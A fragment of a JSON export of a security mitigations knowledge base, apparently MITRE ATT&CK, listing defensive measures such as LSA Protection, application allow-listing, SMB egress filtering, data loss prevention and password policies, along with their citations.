            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "OWASP Top 10 2017",
                    "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.",
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            "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
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            "name": "Environment Variable Permissions",
            "description": "Restrict the modification of environment variables to authorized users and processes by enforcing strict permissions and policies. This ensures the integrity of environment variables, preventing adversaries from abusing or altering them for malicious purposes. This mitigation can be implemented through the following measures:\n\nRestrict Write Access:\n\n- Use Case: Set file system-level permissions to restrict access to environment variable configuration files (e.g., `.bashrc`, `.bash_profile`, `.zshrc`, `systemd` service files).\n- Implementation: Configure `/etc/environment` or `/etc/profile` on Linux systems to only allow root or administrators to modify the file.\n\nSecure Access Controls:\n\n- Use Case: Limit access to environment variable settings in application deployment tools or CI/CD pipelines to authorized personnel.\n- Implementation: Use role-based access control (RBAC) in tools like Jenkins or GitLab to ensure only specific users can modify environment variables.\n\nRestrict Process Scope:\n\n- Use Case: Configure policies to ensure environment variables are only accessible to the processes they are explicitly intended for.\n- Implementation: Use containerized environments like Docker to isolate environment variables to specific containers and ensure they are not inherited by other processes.\n\nAudit Environment Variable Changes:\n\n- Use Case: Enable logging for changes to critical environment variables.\n- Implementation: Use `auditd` on Linux to monitor changes to files like `/etc/environment` or application-specific environment files.",
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                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
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            "name": "Re-opened Applications Mitigation",
            "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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            "name": "Netsh Helper DLL Mitigation",
            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
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                    "url": "https://attack.mitre.org/mitigations/T1172",
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                {
                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
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                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
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            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
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            "name": "Data Loss Prevention",
            "description": "Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks. (Citation: PurpleSec Data Loss Prevention) This mitigation can be implemented through the following measures:\n\nSensitive Data Categorization:\n\n- Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).\n- Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.\n\nExfiltration Restrictions:\n\n- Use Case: Prevent unauthorized transmission of sensitive data.\n- Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.\n\nData-in-Transit Monitoring:\n\n- Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.\n- Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.\n\nEndpoint Data Protection:\n\n- Use Case: Monitor and control sensitive data usage on endpoints.\n- Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.\n\nCloud Data Security:\n\n- Use Case: Protect data stored in cloud platforms.\n- Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.",
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                    "source_name": "PurpleSec Data Loss Prevention",
                    "description": "Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021.",
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                {
                    "source_name": "CERT-EU DDoS March 2017",
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
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            "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)",
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                    "source_name": "Beechey 2010",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "US-CERT SMB Security",
                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
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                    "source_name": "US-CERT APT Energy Oct 2017",
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            "name": "Forced Authentication Mitigation",
            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
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            "created": "2019-04-26T19:30:33.607Z",
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            "name": "Firmware Corruption Mitigation",
            "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ",
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                    "url": "https://attack.mitre.org/mitigations/M1025",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1188",
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            "modified": "2025-04-18T17:59:58.906Z",
            "name": "Multi-hop Proxy Mitigation",
            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).",
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            "created": "2018-10-17T00:14:20.652Z",
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            "name": "XSL Script Processing Mitigation",
            "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.",
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            "name": "LC_LOAD_DYLIB Addition Mitigation",
            "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.",
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            "name": "Do Not Mitigate",
            "description": "The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response. The Do Not Mitigate category underscores the importance of assessing the trade-offs between mitigation efforts and overall system integrity. This mitigation can be implemented through the following measures:\n\nComplex Systems Where Mitigation is Risky:\n\n- Interpretation: In certain systems, direct mitigation could introduce new risks, especially if the system is highly interconnected or complex, such as in legacy industrial control systems (ICS). Patching or modifying these systems could result in unplanned downtime, disruptions, or even safety risks.\n- Use Case: In a power grid control system, attempting to patch or disable certain services related to device communications might disrupt critical operations, leading to unintended service outages.\n\nRisk of Reducing Security Coverage:\n\n- Interpretation: In some cases, mitigating a technique might reduce the visibility or effectiveness of other security controls, limiting an organization\u2019s ability to detect broader attacks.\n- Use Case: Disabling script execution on a web server to mitigate potential PowerShell-based attacks could interfere with legitimate administrative operations that rely on scripting, while attackers may still find alternate ways to execute code.\n\nIntroduction of New Vulnerabilities:\n\n- Interpretation: In highly sensitive or tightly controlled environments, implementing certain mitigations might create vulnerabilities in other parts of the system. For instance, disabling default security mechanisms in an attempt to resolve compatibility issues may open the system to exploitation.\n- Use Case: Disabling certificate validation to resolve internal communication issues in a secure environment could lead to man-in-the-middle attacks, creating a greater vulnerability than the original problem.\n\nNegative Impact on Performance and Availability:\n\n- Interpretation: Mitigations that involve removing or restricting system functionalities can have unintended consequences for system performance and availability. Some mitigations, while effective at blocking certain attacks, may introduce performance bottlenecks or compromise essential operations.\n- Use Case: Implementing high levels of encryption to mitigate data theft might result in significant performance degradation in systems handling large volumes of real-time transactions.",
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                    "url": "https://attack.mitre.org/mitigations/M1055",
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            "created": "2020-10-19T14:57:58.771Z",
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            "modified": "2026-05-12T15:12:00.731Z",
            "name": "Pre-compromise",
            "description": "Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\nLimit Information Exposure:\n\n- Regularly audit and sanitize publicly available data, including job posts, websites, and social media.\n- Use tools like OSINT monitoring platforms (e.g., SpiderFoot, Recon-ng) to identify leaked information.\n\nProtect Domain and DNS Infrastructure:\n\n- Enable DNSSEC and use WHOIS privacy protection.\n- Monitor for domain hijacking or lookalike domains using services like RiskIQ or DomainTools.\n\nExternal Monitoring:\n\n- Use tools like Shodan, Censys to monitor your external attack surface.\n- Deploy external vulnerability scanners to proactively address weaknesses.\n\nThreat Intelligence:\n\n- Leverage platforms like MISP, Recorded Future, or Anomali to track adversarial infrastructure, tools, and activity.\n\nContent and Email Protections:\n\n- Use email security solutions like Proofpoint, Microsoft Defender for Office 365, or Mimecast.\n- Enforce SPF/DKIM/DMARC policies to protect against email spoofing.\n\nTraining and Awareness:\n\n- Educate employees on identifying phishing attempts, securing their social media, and avoiding information leaks.",
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            "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
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            "name": "DLL Side-Loading Mitigation",
            "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
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                    "source_name": "Windows Blogs Microsoft Edge Sandbox",
                    "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "TechNet Moving Beyond EMET",
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                    "source_name": "Wikipedia Control Flow Integrity",
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            "name": "Drive-by Compromise Mitigation",
            "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
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                    "source_name": "Microsoft LSA Protection Mar 2014",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
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                    "source_name": "Microsoft Enable Cred Guard April 2017",
                    "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.",
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                    "source_name": "Microsoft Credential Guard April 2017",
                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
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                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
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            "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
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                    "url": "https://attack.mitre.org/mitigations/T1179",
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            "name": "Hooking Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
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            "name": "SSL/TLS Inspection",
            "description": "SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. This mitigation can be implemented through the following measures:\n\nDeploy SSL/TLS Inspection Appliances:\n\n- Implement SSL/TLS inspection solutions to decrypt and inspect encrypted traffic.\n- Ensure appliances are placed at critical network choke points for maximum coverage.\n\nConfigure Decryption Policies:\n\n- Define rules to decrypt traffic for specific applications, ports, or domains.\n- Avoid decrypting sensitive or privacy-related traffic, such as financial or healthcare websites, to comply with regulations.\n\nIntegrate Threat Intelligence:\n\n- Use threat intelligence feeds to correlate inspected traffic with known indicators of compromise (IOCs).\n\nIntegrate with Security Tools:\n\n- Combine SSL/TLS inspection with SIEM and NDR tools to analyze decrypted traffic and generate alerts for suspicious activity.\n- Example Tools: Splunk, Darktrace\n\nImplement Certificate Management:\n\n- Use trusted internal or third-party certificates for traffic re-encryption after inspection.\n- Regularly update certificate authorities (CAs) to ensure secure re-encryption.\n\nMonitor and Tune:\n\n- Continuously monitor SSL/TLS inspection logs for anomalies and fine-tune policies to reduce false positives.",
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                    "url": "https://attack.mitre.org/mitigations/M1020",
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                    "url": "https://attack.mitre.org/mitigations/T1043",
                    "external_id": "T1043"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Commonly Used Port Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1093",
                    "external_id": "T1093"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Process Hollowing Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Registry Run Keys / Startup Folder Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1085"
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                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
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            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
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            "name": "Spearphishing Attachment Mitigation",
            "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "File System Logical Offsets Mitigation",
            "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Password Policies",
            "description": "Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n\nWindows Systems:\n\n- Use Group Policy Management Console (GPMC) to configure:\n    - Minimum password length (e.g., 12+ characters).\n    - Password complexity requirements.\n    - Password history (e.g., disallow last 24 passwords).\n    - Account lockout duration and thresholds.\n\nLinux Systems:\n\n- Configure Pluggable Authentication Modules (PAM):\n- Use `pam_pwquality` to enforce complexity and length requirements.\n- Implement `pam_tally2` or `pam_faillock` for account lockouts.\n- Use `pwunconv` to disable password reuse.\n\nPassword Managers:\n\n- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.\n\nPassword Blacklisting:\n\n- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.\n\nRegular Auditing:\n\n- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.\n\n*Tools for Implementation*\n\nWindows:\n\n- Group Policy Management Console (GPMC): Enforce password policies.\n- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.\n\nLinux/macOS:\n\n- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.\n- Lynis: Audit password policies and system configurations.\n\nCross-Platform:\n\n- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.\n- Have I Been Pwned API: Prevent the use of breached passwords.\n- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.",
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                    "url": "https://attack.mitre.org/mitigations/M1027",
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            "created": "2019-06-11T16:43:05.712Z",
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                    "url": "https://attack.mitre.org/mitigations/M1040",
                    "external_id": "M1040"
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                    "url": "https://attack.mitre.org/mitigations/T1175",
                    "external_id": "T1175"
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                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
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                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
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                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
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                    "source_name": "Microsoft Disable DCOM",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
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                {
                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
